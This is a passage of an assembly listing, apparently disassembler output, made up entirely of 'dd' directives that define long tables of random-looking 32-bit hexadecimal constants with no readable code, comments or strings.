		dd 0CD8C5E0h, 50088126h, 3E1F3B44h, 0F8D643E8h,	37B892Dh
		dd 8027E9FEh, 0BDF24450h, 0CB3B8E0Fh, 0D5D88ED4h, 5ECA497Eh
		dd 2BA9DCB8h, 0F9E523F9h, 3987848Fh, 5311491Dh,	933E8671h
		dd 0DAEF5ABAh, 47BE5BD9h, 9474EB4h, 7D1BEC7Dh, 8BCB695Eh
		dd 0EBEFC27Ah, 8FC544Fh, 39A9BEA4h, 952CA84h, 25CB2F5Ch
		dd 0C5E482EFh, 0A76414DDh, 0E800B24Ah, 0E96CA92Eh, 22C0C746h
		dd 0D8F60104h, 88DC2A34h, 6C6B20B2h, 0AAA05B5Ah, 0CD507653h
		dd 3B596E1Ah, 0A09A8E44h, 0E1E0EA8Dh, 72DCBE8Eh, 910FD1D7h
		dd 6680271h, 802A0207h,	5C1BE1CCh, 0C9DAA0E0h, 15728D2h
		dd 9412208Dh, 0BD17D49Fh, 0A4EF0626h, 8DD116C8h, 8051F9ACh
		dd 71F38111h, 0B84C9C1Eh, 0A5C15ACBh, 3F0438C4h, 1B571FEFh
		dd 0DEC27096h, 59795F5Ch, 16E95241h, 0F03EBC35h, 9E40DA7Dh
		dd 40C103BDh, 0EB093299h, 0CBF48C19h, 0BA935E1Ah, 0AA0F560Dh
		dd 0E24B3C9Ah, 8AE982B3h, 4B377602h, 5D8A25FDh,	308F29BAh
		dd 84B75BA4h, 0F2FB5214h, 28BBC63Bh, 0FB010111h, 0DBE90B88h
		dd 7355C23Ch, 0C7033B93h, 469BD1D6h, 51AEEDE0h,	294C0809h
		dd 81588FDh, 0F4055F04h, 360F183h, 3FBE56A4h, 0F798ED5Dh
		dd 8D2F68DEh, 648C9811h, 446C0935h, 160CDE9h, 0F14B6BAh
		dd 25C97B63h, 2C205D02h, 3996364Eh, 0C8F696A1h,	314BCED2h
		dd 9DE33AA0h, 95D5A58Bh, 0D4E989BCh, 13E58B55h,	517AC910h
		dd 5F28A32Fh, 0E9E108B8h, 0F629B9C4h, 47F5DC37h, 36B039C5h
		dd 4C0F2FB9h, 7C26565Eh, 0A4EA310Dh, 1BC608A6h,	66049568h
		dd 3C084177h, 450DC0FFh, 207EE875h, 8798F53Ch, 57E960A7h
		dd 42C77169h, 0C0E6BD3Ch, 28A4B013h, 615031F4h,	0EAE90B54h
		dd 7D896A47h, 4678B4E1h, 1DA0E74Bh, 3802ADBAh, 84D02955h
		dd 0DCAD1C90h, 1CAB452Eh, 49DA1F6Ah, 85748B19h,	7FADEF87h
		dd 685760F0h, 31675F63h, 0C2490FCCh, 9CFEEFFFh,	130465E9h
		dd 0E7B1BFBBh, 0B96503E8h, 564B0067h, 0DE29482Bh, 0A4924CFAh
		dd 20623CB7h, 839D59E5h, 2DA32BE4h, 1A5F39Bh, 0E6CDABC9h
		dd 0DF7255E0h, 47338373h, 66D91035h, 99253FDCh,	50B8A782h
		dd 8FBD05FCh, 0EB487E34h, 0B5F816E1h, 0E4D82CC6h, 46023C86h
		dd 0D2F75C1Ah, 3B625E40h, 0E96DCA09h, 7695042h,	0D039C980h
		dd 1BC151E1h, 51182008h, 8581B53Dh, 5734E9E5h, 0B861DDCDh
		dd 0CBDE56E6h, 1014C7D5h, 56341001h, 9A535C2Fh,	21C5FF4Bh
		dd 874FAD8Ah, 92ABC687h, 13EE52F4h, 12C6A6CFh, 0CBBFCC70h
		dd 18840ACh, 64EF5713h,	0EF017817h, 307C5AB9h, 8E225DCAh
		dd 3500DD6Ch, 5EE6378h,	57420525h, 1A0AC19h, 0A44A5D2Dh
		dd 0BA2B85E9h, 0CDA93434h, 0E75F6572h, 7D9EBA52h, 929FB94Eh
		dd 25E9BB28h, 4F529FDDh, 17F13848h, 0D9AE876Fh,	0A3292B3Dh
		dd 5E8A357Ch, 2096A793h, 0EDA09095h, 0B627004Ch, 56FD0150h
		dd 72BE6DE9h, 24359300h, 0B0544236h, 161261C6h,	2088ADB0h
		dd 0ADB83041h, 66D82813h, 5F993B09h, 0F95D4389h, 383A733h
		dd 95761F3Eh, 7D701530h, 278E16F1h, 59610E89h, 1B3EE3E8h
		dd 0FA7D8CEAh, 133A0C70h, 13555683h, 52D2BAE1h,	27095FECh
		dd 0E9619F53h, 16972336h, 2722BFB8h, 758DEACCh,	0D42D1E47h
		dd 0EAE9C518h, 0B6D0DEC8h, 454E2D6Ch, 646ACD2Fh, 0A8D04E6Ah
		dd 0DE494E4Fh, 9F4B7030h, 0E4E9F53Bh, 81D97C6Fh, 205B84BEh
		dd 3EF681E8h, 215C4BDCh, 4E2F028h, 0CF052AE9h, 9F02AA11h
		dd 5F413273h, 90AE5D83h, 9C99FB85h, 22BE320h, 0E90AF15Bh
		dd 35F49A92h, 725BD567h, 29363880h, 6881326h, 0ECED6A1Dh
		dd 0D1416B27h, 3859ADB2h, 0E9FD30EBh, 58A06186h, 0C1A1ED80h
		dd 0D6C5D5E5h, 9ED37AD5h, 0BAD90BC9h, 55964475h, 91CCE64Ah
		dd 0F7C016Dh, 4148BC2Dh, 7FCAFF72h, 585051E6h, 8B951863h
		dd 0C0035533h, 0D505B9AAh, 3F0333EDh, 0EB249BC1h, 0F9CE007h
		dd 0A3F44B8Eh, 0AD75525Eh, 0D0BEF6FBh, 69972FD6h, 45210235h
		dd 16DE63FCh, 0AFF7090Fh, 16EF3560h, 82052635h,	9FE1202h
		dd 5042F00Bh, 42AE8185h, 3EF168C7h, 0EA90CC46h,	0AE87AD2Dh
		dd 3334A967h, 134B88DBh, 98F19F38h, 0B1CF1EBBh,	684D0481h
		dd 982E31B7h, 575C8384h, 9E91261h, 1C33FB44h, 7734FEh
		dd 515257A6h, 31283A68h, 6A2D9CEBh, 851D94Bh, 51250F4h
		dd 0E9C595FBh, 69206264h, 57680136h, 3CBD6363h,	488A9552h
		dd 72E9094Ah, 0B61F72C2h, 2B920354h, 0C3A309Eh,	63B0120Eh
		dd 391CE901h, 3B202A2Eh, 166B02BEh, 6FC1E92Dh, 3AF1D2C9h
		dd 5E53A381h, 4D893F20h, 896CB75h, 5503F911h, 0A25ED668h
		dd 77965575h, 4DF2E509h
		dd 7E0F02C7h, 9FD1CE99h, 41756C50h, 40EB2FC0h, 0B81C9279h
		dd 500C404Fh, 8031B407h, 54B549CCh, 0F30020E9h,	7FF756FBh
		dd 70399E2Dh, 0F10375BEh, 550F258h, 3676E9B3h, 741336Ch
		dd 1B11A8F2h, 0BFA1E904h, 0E941EAF2h, 0EA6702FBh, 68A02869h
		dd 35B923C0h, 0C4FBE30h, 2FEE6BBAh, 0E5D829B7h,	7459CF2Fh
		dd 9561DA70h, 0C3306E49h, 965D5255h, 985F2759h,	974FEBEh
		dd 0D9F76523h, 5B925183h, 55522BAh, 5DBA2DCCh, 42742CEh
		dd 0E2D72835h, 8B070978h, 5FC87D06h, 0C80C310Eh, 8B419D68h
		dd 95279ADFh, 480546A0h, 117EA440h, 0C89FEF74h,	17418724h
		dd 456148Eh, 8AD6CFB1h,	861862EFh, 0C5F80BAEh, 0F155AD2Fh
		dd 91C8A7B7h, 0F3A45BB1h, 16426104h, 0F8804338h, 11CC4A09h
		dd 82F30112h, 4C54A6E9h, 806812ADh, 827A3743h, 4CF96A49h
		dd 4585BE81h, 0DC6F6260h, 741DE94Ch, 23173D12h,	9D7516ABh
		dd 4E604BEFh, 5DA35E16h, 0FA014248h, 15FCB59h, 21931F7h
		dd 76825E08h, 0B90747D1h, 113829B0h, 0BDF9F641h, 787C1F42h
		dd 77F3E7E2h, 12C88510h, 0FD404181h, 0F976367Fh, 0F340342Ch
		dd 0F9689F5Ah, 23BF8ED9h, 0D26D6387h, 8A1F4074h, 0EF4209A9h
		dd 0E9FFCF31h, 1870D196h, 0C9636410h, 0E7E0BFC2h, 945CA059h
		dd 0BECC833Ch, 0BF0029A3h, 1AA0B7B6h, 5D4F0AE9h, 0A69A61FAh
		dd 0C2BD6BD8h, 673BF1C0h, 529D2801h, 3AC30C41h,	8BDA26BFh
		dd 0A8A1E318h, 3D57AF18h, 0B0A67DB1h, 0E0C087DCh, 0F7AB8206h
		dd 0C1D8F1DDh, 6E0ABF68h, 0F2698D8Dh, 88F3AA92h, 6800F4D0h
		dd 327237CAh, 805B47E9h, 218E18CDh, 0EF122DB7h,	5D8BC3A6h
		dd 7A6457DEh, 0BAE3C106h, 615F3920h, 0CEDEE49h,	62A02BF6h
		dd 5D7F0091h, 4ABB53AFh, 7609B478h, 566131E9h, 9488731h
		dd 0CB05D10Fh, 0C4B8310Ah, 7DCF7382h, 22F1CC5h,	0D7FD88B0h
		dd 0E388CEE5h, 0EF2D1386h, 54598A49h, 0D2E18954h, 68E7CDD6h
		dd 7F0B30B7h, 295EF494h, 3E840EE9h, 51CDEA7Fh, 0AE045EE9h
		dd 0B0F1B807h, 0E6578FA2h, 3FB6092Ch, 0FB50E6D0h, 54005D97h
		dd 5AF70867h, 7BFCC058h, 1768CF0Ah, 80A6422Eh, 46E8CD0Bh
		dd 5DC92E3Ah, 2F4D6AC9h, 57A5A0F6h, 0C0BF996Ch,	0B7844C7Ch
		dd 0F5D23F76h, 0B192DCE5h, 0F0011F81h, 172B1B31h, 947CA3C7h
		dd 8EB675C3h, 990F6D9Ch, 2E496B44h, 48FAA5DCh, 5BDDD544h
		dd 285B90A8h, 0C7298083h, 0E984E705h, 0C2E47E71h, 0A3E02EAh
		dd 0F20142B4h, 8016C42h, 6EFAD8E9h, 969FF5ECh, 0F7273148h
		dd 0C03A21DFh, 2E58ECE5h, 9115C43h, 85F8205Ah, 17A39331h
		dd 5004E805h, 8C5BC34Dh, 0E965D198h, 0F432B625h, 0F480723Bh
		dd 14266CCCh, 72754082h, 0A590973Eh, 2117FA44h,	27B42E68h
		dd 9342954Dh, 27A21455h, 0A4F109B1h, 0A310F569h, 4758F768h
		dd 82F0D202h, 51A45DABh, 5ADEC4h, 2E367205h, 0D2FFA018h
		dd 7610F81Ah, 0DC681701h, 2A9A8C5Eh, 76956701h,	3E9C141h
		dd 0E1D4C061h, 0D2E6C108h, 7B3D0901h, 0DF582FB0h, 60559245h
		dd 541BE09Ch, 58AC6D4Ah, 0B2BB6250h, 70449538h,	2CA2555Eh
		dd 6A8FB192h, 2158E8A3h, 413E9B81h, 0E9F2E076h,	8DC2B55Eh
		dd 0C591FD5Fh, 21A7D042h, 0B6EAC130h, 0EB30E9DAh, 0DBB84E81h
		dd 6488ED87h, 0C67F291Fh, 0F5591826h, 6C030581h, 0D5D40984h
		dd 78CE3467h, 4F78802Ah, 0A17A276h, 0D0CDDF7h, 195A3495h
		dd 648EB80h, 0FAE30363h, 38CAD8CCh, 0CD7D3FB5h,	0E31EC360h
		dd 0F3790620h, 4A39EA2Fh, 0D39FB82Bh, 68B80EBCh, 0D33A7D01h
		dd 9433E92Bh, 2D18E72Bh, 0A894FC05h, 22570182h,	0EEC14C3Fh
		dd 0D0017B03h, 4E071E39h, 80851820h, 0C2788966h, 0C9846F5Bh
		dd 0A21DA2AFh, 0E7DC5555h, 0AA544A74h, 0B04B673Dh, 8B8AFE4Bh
		dd 0FB2FCAC9h, 407DEEC0h, 6B83485h, 0D027D227h,	4E06B098h
		dd 7B40E157h, 1EFCF361h, 9D8EB12h, 7435758h, 5F067FEh
		dd 15AB52C4h, 1CC599Dh,	69FEBA1Eh, 0DD5E582Fh, 35207F94h
		dd 0B6812C8h, 0C1C5A831h, 37E753A5h, 9A509D60h,	5BD927B8h
		dd 852312DBh, 0AC6E5C51h, 48E9E092h, 0BC1EB144h, 0BECD9A38h
		dd 2824F502h, 0BD459E8h, 651089C8h, 2F6C5B29h, 1577A27Fh
		dd 2B60894h, 0B9B035Dh,	0C104CFF6h, 16FC08E2h, 9546F074h
		dd 574850D0h, 1EDC05D9h, 84BB1613h, 73B8A81Ah, 4016F15Ch
		dd 68165E0Eh, 10AC6AA1h, 8B0082A5h, 38244F47h, 723B0A0Bh
		dd 80A8D65Ah, 42599421h, 0E07EFD6Eh, 684B1E54h,	817B4DB1h
		dd 0F2D6380h, 0FE9D0952h, 0A10797F0h, 3E806635h, 8A7B13EBh
		dd 1E8E41B4h, 0D71B1328h, 13DE0AAh, 0F6A77291h,	0AA0FB420h
		dd 0DD550421h, 0D7308005h, 6AE73142h, 0FEE5040Bh, 367869FEh
		dd 837A9C41h, 838D7BFCh, 0EBEFD7FAh, 5686372Ch,	81F4B67Eh
		dd 0A82FFD68h, 60E82703h, 0BA52E101h, 0F120845h, 6A727B07h
		dd 812CD1E6h, 0FA55A08h, 5D027AD6h, 5F615968h, 0B70CB818h
		dd 56ED63C9h, 645EB05Ch, 3B5B4C01h, 204232A0h, 10097536h
		dd 8B900D15h, 0EC580E7Dh, 27F83C5Bh, 0A25EC863h, 81A1C34h
		dd 5A14051Ch, 6FB037E8h, 0C5F2A48h, 197847F0h, 38A72699h
		dd 0D76C011h, 75C6ABDh,	7E195808h, 7AE9D80Fh, 0FAA9F24Eh
		dd 2385CBCFh, 12BCD77h,	3A35D1DEh, 0E2845457h, 472900FFh
		dd 29328C86h, 0C6B8D665h, 0CC996BAh, 286C723Dh,	3C4EF148h
		dd 0FADF85F8h, 0B1FBD213h, 3BC5CD5Dh, 6C0A6E35h, 6ACB9BAh
		dd 8838AF24h, 3F174A2Ah, 0F84B0EBBh, 6382897Ch,	7858E29Ch
		dd 560CDE55h, 811EA8DEh, 2279CABFh, 0BF7B170h, 28644B6Bh
		dd 8235A80h, 42B559E3h,	0AF50D75Ch, 3EFCCF5h, 0B0442EC1h
		dd 0AC2A139Ah, 50AD27BDh, 36FF9723h, 8BA0259Eh,	2E8868D9h
		dd 597A2851h, 0A85ED05Fh, 0DDB7A201h, 0BBA0125Bh, 8B287D9Dh
		dd 7B6F82BDh, 0C35768F6h, 4BF01C2Eh, 0B1FF2F09h, 0E33B5E06h
		dd 809A8478h, 13ECAD13h, 69ABBE68h, 968F473h, 0F23AA29Dh
		dd 537D09BCh, 13E9C11Ch, 5FB7D93h, 3E527632h, 4FAE1FEh
		dd 42EF0108h, 6F25B478h, 168D21A4h, 0FA43083Fh,	5716D418h
		dd 6C6700BFh, 0CF8127F7h, 73281F82h, 0E92DD84Eh, 9DA6D864h
		dd 41A7BA75h, 0DA29A352h, 9668320Eh, 9F88420Bh,	0FDCC39F2h
		dd 0FED6612Ah, 13C99CC3h, 0E410BC89h, 0FC8EEC0Bh, 0DA0FC2A5h
		dd 1AAF4851h, 4E2D40DCh, 57E10F53h, 0A81CC101h,	52583408h
		dd 5D41802Ch, 0AB0BBA45h, 0F078B57Bh, 1F814A46h, 0FE5292A2h
		dd 5F8B9AB7h, 73513992h, 9CC2756Bh, 49DF795Fh, 54422359h
		dd 0F0CA7C5Bh, 9C5AB8E9h, 6485F4E2h, 3CAEA2CCh,	78C39254h
		dd 1E84C337h, 0D50844FBh, 0E037BA76h, 0F580DAE2h, 0FA45A119h
		dd 0C2877655h, 5BB09548h, 985ED9E9h, 7F8031AAh,	301C818Ch
		dd 63B753D8h, 167EA26Fh, 48A073B6h, 6F414CC6h, 44231155h
		dd 7197277Ah, 433CE9D2h, 0EB72984Bh, 0FEB1F3F3h, 8A54C61Fh
		dd 0E304913Bh, 4F1C6CF0h, 0B6AA6F80h, 899E166Fh, 0A1D313DEh
		dd 0B726753h, 66540368h, 41665DEBh, 546CEB4Fh, 8B866419h
		dd 0B8E1EBEBh, 2646D82Eh, 5797519Ah, 0E91A07BEh, 7E4E4DFFh
		dd 8273C7Eh, 484204D2h,	0C616E359h, 9270450h, 71BFF5D7h
		dd 67B67FF1h, 0BED86685h, 23033E31h, 6D72A48h, 0BF16106Bh
		dd 0A2C20BDBh, 0C0405CEEh, 171CEA1Fh, 0FE660B1Ah, 0C0065B1Ah
		dd 3442D282h, 0AA890635h, 0B66E6F3Dh, 2D7B572Dh, 6BB77C6Ch
		dd 0E9247BDAh, 0F7896D38h
		dd 81D8D4DAh, 0CF5A6CC2h, 15C86A42h, 9CBD17B0h,	9C91AAF2h
		dd 92A3FE9h, 16FF58CBh,	4D792528h, 0AFD92BBBh, 0F1C75266h
		dd 0B690F60h, 0FE52B238h, 0A4121F5Bh, 80A680A2h, 1BED595h
		dd 0B3311E9Dh, 0BC5CC514h, 384C80C5h, 4BE94DCCh, 0B92400E4h
		dd 98BCD12Fh, 524AB598h, 4EE28BBBh, 315AA7A6h, 0FA0868B2h
		dd 29A54B51h, 0BE907532h, 7897B6E9h, 0EB79B552h, 52725EC9h
		dd 9D05C1h, 0BF39C4BDh,	8F0300Bh, 5C89C195h, 65E8AF04h
		dd 5F8DAAB5h, 4B88DA20h, 2A938D11h, 740D4B22h, 0C6050718h
		dd 293F102Bh, 7A02DD0h,	3C498B5Ah, 84E9B04Dh, 0C842D0B4h
		dd 0B025539Eh, 0CD2F8040h, 0D4047D4Ch, 0CF35A881h, 0EECF1EB6h
		dd 65E6C496h, 8B3267D7h, 8ACF4BE9h, 2FCE6E5Ah, 353D132h
		dd 0F55AE610h, 5FA92FF9h, 0AD6C5813h, 9F8A164Fh, 25BBD1FEh
		dd 0CC01055Fh, 3AC67C51h, 40C7F82Bh, 0CA4FE908h, 0BAF3B516h
		dd 0BBC331C4h, 0C2E45CF8h, 19B24C03h, 367B225Fh, 32030968h
		dd 9FD2539Dh, 2F06F8D5h, 4EC95DEBh, 4807EAB9h, 1E9F965h
		dd 37FEE03h, 0C097EA1h,	2D13973Fh, 4C402F16h, 8905C4h
		dd 0F6814E50h, 6D6E45EFh, 0A309CEECh, 575DAB21h, 312DC4F2h
		dd 0A20AC6C8h, 4298DC76h, 59F5490Ah, 3F3FA8F1h,	0CE2CECB7h
		dd 5F54898Bh, 60D7C9B9h, 1ECBCF3Eh, 0AF487541h,	6CB05066h
		dd 683EC927h, 95625351h, 810734F5h, 85141098h, 0AA7A53ECh
		dd 0C1B4B3F2h, 9E63DEh,	958E188h, 0F986D7F6h, 0FE1CB4FCh
		dd 7524E9C9h, 5EF13720h, 0BDF4CA29h, 21D1925Eh,	5C03189Dh
		dd 72E7B2E1h, 5F7707C4h, 7B2156Bh, 979B7D5Eh, 3849BDFAh
		dd 72F37E7Ch, 91CF94Fh,	7699E95Fh, 701425E7h, 56806816h
		dd 2DB0E0F8h, 0D3273DB4h, 8270D837h, 5FA40207h,	0E28D4684h
		dd 0F8281D6Ch, 2127392Ch, 91E913A2h, 0A5B00DC8h, 1B8840BBh
		dd 0E2BE01A6h, 3A1F334Bh, 0DFFEB402h, 41FC41F4h, 9D404670h
		dd 2F566C61h, 24D20EFBh, 2239AA33h, 0F7F36552h,	6F58F590h
		dd 0D64FA52Fh, 5A08A0B4h, 0E068EE5Ah, 407BF3E9h, 1E33F1C7h
		dd 70974110h, 665020FEh, 584717B4h, 9FE67B3h, 5F4BF7CFh
		dd 0BA7FB0D5h, 490518B3h, 0A8AE434h, 0A9A28590h, 20AE4475h
		dd 665EB145h, 6C8FDFFCh, 0FA8BBFB7h, 26DF297Eh,	1A209488h
		dd 58645221h, 948DA3BFh, 4119165Ah, 32D819FCh, 0E1272803h
		dd 815AD822h, 0E82C5F07h, 59CE0473h, 0B365C3E9h, 772579A0h
		dd 7922448Eh, 0C3274A56h, 79515549h, 80138B92h,	0AFF582C3h
		dd 7F22CA91h, 12F67AD2h, 51FC6295h, 0DD326BAEh,	5CA8545Fh
		dd 89FEE917h, 12C13520h, 5C592D01h, 12082B28h, 8B31C05Eh
		dd 800F432h, 76E86D2Dh,	925DE98Eh, 0C7012D95h, 0EACB45ECh
		dd 0BD70F022h, 0FA08B1F8h, 264773Eh, 78E73050h,	75804943h
		dd 0E976CF92h, 0A3C98F4Ah, 0DFF5607Eh, 0B29421E9h, 754C5F27h
		dd 0CD3C6127h, 0ED4727FFh, 4FB0D7A7h, 0CA255F60h, 0A0A2FE11h
		dd 0B6594E08h, 0CD4B4B4Eh, 711C7DF8h, 0B52DF0BDh, 65E96A18h
		dd 0CF4955Bh, 4F021466h, 0DC068436h, 0C14AA27h,	0A83DD80Ah
		dd 0C5008A06h, 95075F3h, 0C15B1FDAh, 0FD562DE2h, 0C26851C0h
		dd 276DF807h, 39F6DCE9h, 2B464142h, 0F541B2D0h,	0C4278362h
		dd 652F1374h, 658D9C45h, 7D357E67h, 0EBA54AB8h,	0DB6A14CDh
		dd 94504D5Dh, 0F1862570h, 1D748098h, 0CD310AD4h, 442CC2C4h
		dd 6F257BF3h, 0D030F382h, 0AE459461h, 0E7BD23Eh, 0CBF780CFh
		dd 0BA5BF806h, 0F4D8283Fh, 0C7E9CBC4h, 0FB4B6BA8h, 23AEF7DDh
		dd 33E97087h, 0BF36515Eh, 68530B3Eh, 0A274385Ah, 2236AA62h
		dd 477F7ADDh, 2B6D8214h, 84C15760h, 23BB2008h, 1BE33D17h
		dd 174280FBh, 5461520Ah, 0D085BA1Ch, 9FA780FAh,	276C832Dh
		dd 0F498D131h, 7021B05h, 0C8295372h, 3207892Dh,	0D164D57Fh
		dd 1A560948h, 8254514Ah, 0D007ACBDh, 224BEC0Fh,	315802BCh
		dd 409325CCh, 78BDBA9Bh, 7C7E7C1Ch, 0BFA94AD6h,	404ADF4Fh
		dd 814524FEh, 0C0909CDh, 0D084260Fh, 5968005Fh,	0E8404B78h
		dd 54F6952Dh, 0AC1EBB3Ah, 0C8146F0Dh, 139B4CA9h, 30F23109h
		dd 5949BE02h, 0DE403A17h, 4D013C39h, 0E9CE2952h, 0AD5105A8h
		dd 14AD5BD9h, 0E2D5FD89h, 0E96B40DEh, 0FA5E5E15h, 9D0B3F38h
		dd 491867A0h, 9DB857AFh, 7F156160h, 69441369h, 83836031h
		dd 0ED96766h, 3C46D5E9h, 6B6A164h, 8B007E25h, 24465DEh
		dd 124E680Ah, 0D3DF32C9h, 0B8F42F40h, 503BE989h, 0A268132Dh
		dd 0BD69BB53h, 5B0DAB5Ch, 5422EAFCh, 3546C88Fh,	362F0667h
		dd 28C3897Fh, 9BAB040h,	16300476h, 370C0277h, 5D20A0D9h
		dd 0E85B5553h, 46DE2E87h, 0AAAB2C01h, 708B2F05h, 0BCFB96D5h
		dd 110026A5h, 50BF02C0h, 7166F420h, 423D0C91h, 0B53C51C5h
		dd 0C37196D3h, 1F1E74FBh, 8769838Ch, 0C4B4013Ah, 580804D4h
		dd 9F01B356h, 293BE00h,	31C10934h, 30606E6h, 0FD317046h
		dd 68052516h, 79A1C1ABh, 1BAC6E60h, 613A8BDEh, 0D8BE3EA3h
		dd 80F11DD5h, 401AE681h, 759574E9h, 2EF3B223h, 6DA79DBh
		dd 0D0D0D729h, 0D9860100h, 2C64B050h, 3941E4A7h, 0B0E707E9h
		dd 0D8DAE9F7h, 470EB909h, 25157050h, 7E463D68h,	424A6CF0h
		dd 466D4930h, 84614E9Fh, 2C59991Eh, 0F4515150h,	0FA3B6579h
		dd 0EF3024Ch, 99172E2Bh, 0EB101416h, 1D2842B6h,	0D95EDF6Eh
		dd 0DECB09EEh, 0EE751D62h, 49F1FAB8h, 0D00117F6h, 4D1FDA0Dh
		dd 49F02B3Ch, 48CF3C2Dh, 0C463C8AFh, 5205EAD8h,	0F72FA4B2h
		dd 35F945D2h, 0F8A1825Bh, 6805A645h, 65F36489h,	481A0079h
		dd 0E59C0543h, 0E4F2BCB7h, 0C10B68F3h, 4D367AF6h, 2CB66630h
		dd 0CC5CA30h, 0EB61C057h, 0A36CD20Fh, 764F6963h, 179C89FEh
		dd 0D123A825h, 89D121CBh, 5FFB353Ah, 448BDE59h,	0B76E7787h
		dd 4184F14Eh, 0B1F1B2ABh, 4936E4F2h, 9192184h, 43A70253h
		dd 6C5D809Dh, 0BD1F9034h, 61B5C260h, 229DC5Ch, 6195AC5h
		dd 9766700Ah, 0D0092174h, 0B19F137h, 0A49ADF98h, 146AF27Fh
		dd 41645868h, 695DA78Bh, 6B78B849h, 61900502h, 427F3432h
		dd 0DD070B1Dh, 0E5E0CE8Fh, 5B31770Ch, 0E1F3E927h, 6D215C2Bh
		dd 0B5A7887Fh, 0BE0164BEh, 8AD62B2h, 0E3F4D425h, 0A9F99D7Ah
		dd 57EF89C9h, 4C620F71h, 0D09C5726h, 0B5771495h, 6E5BCB91h
		dd 22FE27C4h, 3E5C6345h, 706EF982h, 9416D81Ch, 0FDB29631h
		dd 0B3F202CAh, 7D6D704Ch, 0E90476D1h, 32FF532Bh, 56E92E10h
		dd 0E15DF850h, 6A741FA0h, 0A5210E3Dh, 0D56A0BCFh, 64AA6994h
		dd 783EF05Fh, 48CD95EEh, 0FD9D8DAAh, 0E91C2B94h, 5D277B25h
		dd 0E92F31B6h, 0C8158BDAh, 0E1092A7Ah, 0A4D9B83Eh, 0C24C88B8h
		dd 5C262302h, 8204010Bh, 0EFEF13AEh, 0E2F9FB9Dh, 68CED03Fh
		dd 679B674Ch, 7A2B0C02h, 2515D04h, 0DF8EA689h, 6C9C78C4h
		dd 75E3394h, 10A614B9h,	75ECA60h, 115758E6h, 0B81B1275h
		dd 0BAB916A7h, 0E029BB82h, 95393854h, 0AB8C077Bh, 4E2914CAh
		dd 0D3CCF2D1h, 0AE325F1Ch, 6FE484E6h, 9724F088h, 755A3EF6h
		dd 0E9164314h, 29FE57C1h, 29BE2E7Ch, 2A41EAC9h,	30DA6563h
		dd 8382FCBCh, 0F04A2264h, 95FD891Eh, 0F12592D7h, 27E968EFh
		dd 0D14ABC85h, 0A01B8DE9h, 8940A35Eh, 8AD658F7h, 0FFB39B0Ah
		dd 3DCF09B0h, 68C3DCD9h, 0E6EC8D25h, 3367BC4h, 0C249E780h
		dd 42897D64h, 6353D1D7h, 0C901358Eh, 0C3134AEEh, 0C8295B30h
		dd 0B2378816h, 0E8898716h
		dd 5C812229h, 337C0B88h, 7C37FB01h, 37275F0Ch, 2EEAD94Eh
		dd 85FBC234h, 99D8BF19h, 39756442h, 0A66880EEh,	5F5C1344h
		dd 6B3004F0h, 30A04E6Ch, 0A5905A3Dh, 0DF2A878Ch, 68E24C7Fh
		dd 4B4C7FBAh, 0F582B0E6h, 0EF400D2h, 0EAA24F54h, 5E0F423Fh
		dd 3830635h, 3BD19B49h,	0CA1793CCh, 6C0B092Fh, 0F77D277h
		dd 0E701ADBh, 7AD8B78Bh, 7A605E9Fh, 5C560F5h, 0E92B09E4h
		dd 1AFA0D6Dh, 0A0C6014Fh, 2DFB790Ch, 985055CFh,	0EDFEC4B2h
		dd 0D52EC8A0h, 4815980h, 2D64A6F6h, 0FCD3C722h,	68270706h
		dd 5118FF49h, 0D99F1787h, 643F9D9Dh, 11A8C1F4h,	0AC6A20A2h
		dd 59BDA7A8h, 34B36A13h, 0F50700FFh, 0C730A25Dh, 0D34DBC90h
		dd 7F8217C7h, 3E500DB6h, 51BA8021h, 63560D2Eh, 69DFF201h
		dd 0EF2B1FC9h, 635AB645h, 0EDB7D9AFh, 0E850026Fh, 10D5896h
		dd 3A830EBCh, 0DDE9FA2Dh, 84C47E03h, 112C4E8h, 956A2D1h
		dd 0D65FA8E9h, 3CD3406Ah, 76954133h, 60A4895h, 0C697E6E9h
		dd 2BD53503h, 0AB2D5579h, 0D795AA9Fh, 55A58ADBh, 6C9D0D66h
		dd 0FA0EA082h, 12540023h, 563AE781h, 0C984015h,	0EBFDCA12h
		dd 9F84F0Bh, 25FCDE54h,	201516DFh, 5137C6Dh, 0BBBF9A0h
		dd 17C0D409h, 0A5B8E589h, 647F2F43h, 80AD3F02h,	1B03686Ah
		dd 39524DCDh, 2C30C2F1h, 0BD4C4B5Fh, 0D3C9D3E3h, 0BDCCBC2Fh
		dd 40725808h, 0A8BEBB33h, 38BD341h, 9576797h, 0D25DCBD6h
		dd 509D2581h, 0EBA0C2DBh, 0D1416C5Eh, 0C92BD9Dh, 3F4E9830h
		dd 291E6763h, 8EA14F2h,	9EDBB50h, 3536057Dh, 552D82F5h
		dd 60B80051h, 2F7DD825h, 9A13400Fh, 4669E57Bh, 0C4293ECDh
		dd 0B7677F1Ah, 751BC25Dh, 5B5F3A58h, 67E271FFh,	0CD7607E0h
		dd 8643E7Eh, 0E590998h,	8A136984h, 87FAE937h, 1C47D1A0h
		dd 32DFE458h, 43B83AC0h, 0BD079D4Bh, 0F701B254h, 293C09B1h
		dd 1D75B061h, 0D6ADE03Bh, 4790FA4Fh, 2A07F37h, 59CD0913h
		dd 0CA41DDF7h, 0A6002F45h, 0E9E45B80h, 0F49C4B6Bh, 0ED256752h
		dd 0CE36813Bh, 846B1E20h, 39BCEBC5h, 8456B24Bh,	30E81021h
		dd 2598ADA4h, 0C02742E8h, 8B124812h, 4684648h, 18B7332Fh
		dd 129D2FBh, 0EA813CF4h, 3C5F5619h, 877506Bh, 0EDF75E25h
		dd 4EE90B03h, 0F60E51D0h, 965166DDh, 57F51FBBh,	2D75C0EAh
		dd 0A10057C0h, 0BC354815h, 0A9116564h, 9DA4ED7h, 0E7F0DDF8h
		dd 0C4C1BF6Fh, 5F0B3AC0h, 87F16557h, 9735568h, 80727B75h
		dd 1413E981h, 0D0EA616Bh, 0F9A3C75Bh, 0E110DA26h, 29EF68E9h
		dd 2360072Ch, 0C2E614D2h, 0F5C42D78h, 97B3BEF7h, 0DE2F57DCh
		dd 5B54D0FFh, 420C5B9Dh, 0C2D66D6Eh, 0C767FB71h, 0F1F77162h
		dd 8B95F15Dh, 4B6EAE26h, 7C4BD7B0h, 3C02B961h, 0D826844h
		dd 1F8608A9h, 0BF8792C0h, 59DA5C38h, 2384D11Ah,	5E9C1478h
		dd 286806AFh, 0C2D10E3h, 7041765Bh, 3BF3C068h, 0E15067B6h
		dd 753A3C40h, 6794EBCAh, 0EF4B0DFCh, 0E7FEEB75h, 2CA9238h
		dd 9CE95209h, 20B0C261h, 0C0BFC311h, 4B61688Fh,	4D41EB74h
